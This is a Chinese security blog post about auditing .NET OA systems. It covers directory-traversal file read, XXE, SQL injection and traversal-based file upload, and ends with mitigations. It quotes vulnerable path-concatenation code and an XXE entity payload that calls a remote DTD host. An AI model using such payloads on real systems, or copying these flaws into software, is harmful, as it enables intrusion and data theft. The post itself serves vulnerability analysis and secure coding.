原文转载自Freebuf自己的文章:https://www.freebuf.com/vuls/401042.html
之前审了几个oa拿了几张CNVD证书和少许的现金奖励,这边我就根据审计过的标准.Net开发的系统,总结下遇到的漏洞与成因。
(CNVD的审核标准一直是个谜,补天评定任意文件读取为高危,但在CNVD却是中危)
因为审计的漏洞实在太多,同一类型的都不收取了=-=
任意文件读取
任意文件读取一般会配合目录穿越
首先映入眼帘的是Upload方法,但是却是读取文件的功能
在代码中对文件路径进行了一次拼接,设置没有做任意的处理
string a = ConfigurationSettings.AppSettings["FilServer"]; text2 = ((a == "") ? (parent.ToString().ToLower().Replace("\c6", "") + "\Resource\GovFiles\" + text) : (parent.ToString().ToLower().Replace("\c6", "") + "\upload\Resource\GovFiles\" + text)); string str = text2;
传参..\..\便造成了目录穿越读取到其他目录下面的文件,很简单粗暴
再来看一处代码,功能是下载上传的文件
分别由两个下载的方法:Downloadfcform和Download
Downloadfcform中,传参text拼接到../resource/目录中,无过滤传参....即可
而Download方法就没有拼接路径的问题,因此就无法利用它来读取文件
XML注入
XML注入又叫XXE,通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
这里来看代码是如何处理的:
系统加载了用户传入的XML内容然后解析
xmlDocument.LoadXml(xml);
因此使用参数%remote
就造成了XML注入请求外网地址
<!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;
但是XML注入如果想要读取本地文件内容,就要依赖一个配置项
在
System.Xml.dll中,可见XmlReaderSettings.ProhibitDtd设置为true
参考微软官方文档
当XmlReaderSettings.ProhibitDtd设置为true时,系统XML是无法加载文档来实现读取文件的;反之可以读取
所以只是XML注入请求远程地址的话是无法造成大的危害的
SQL注入
SQL这类漏洞是最多的
漏洞成因是简单朴素的SQL语句拼接,来看代码
此处调用loadDeptChild方法传入参数id,之后再带着参数进入GetFirstSubDeptByDeptID方法
进入方法后,参数id拼接到SQL语句中然后执行查询,造成了注入
sqlmap验证下注入结果
上面的代码是典型的反面教材,未对用户传入参数进行过滤。咱们来看另外一个OA系统的代码
此处查询数据时,先对参数进行了过滤调用FilterInjectSql方法
对注入常用参数进行一波过滤
另外还有防止注入的方法,就是参数化查询
使用@参数名传入,放入SQL语句中就不会进行语义解析执行
任意文件上传
文件上传遇到的比较少,基本都是结合了目录穿越上传文件
这里看如下代码,upload方法中,传参参数folder指定了文件上传的目录
之后调用SaveFileToServer方法,拼接路径到Resource目录下,此处可以传参../造成目录穿越,穿越到Web目录下面
咱们实操一下,构造上传数据包进行上传
正常上传到目录,而且可以正常解析连接
在代码开发时,需要特别注意以下几点:
-
代码审查:仔细审查代码,特别是涉及用户输入的地方,确保对用户输入进行了适当的验证和过滤。
-
安全配置:检查系统的安全配置,如XML解析器是否禁用了外部实体、是否配置了适当的权限控制等。
-
安全编码实践:鼓励开发人员采用安全编码实践,如参数化查询、使用安全的文件操作函数、避免拼接路径等。
-
敏感操作权限:确保敏感操作(如文件读取、文件写入、数据库查询)只能被授权用户执行,并且执行时进行了适当的权限验证。
-
漏洞修复:针对发现的漏洞,及时修复并进行漏洞验证,确保系统的安全性。
这些措施可以帮助防止常见的安全漏洞。
原文始发于微信公众号(HackingWiki漏洞感知):CNVD漏洞代码审计 | 危险代码与漏洞成因分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论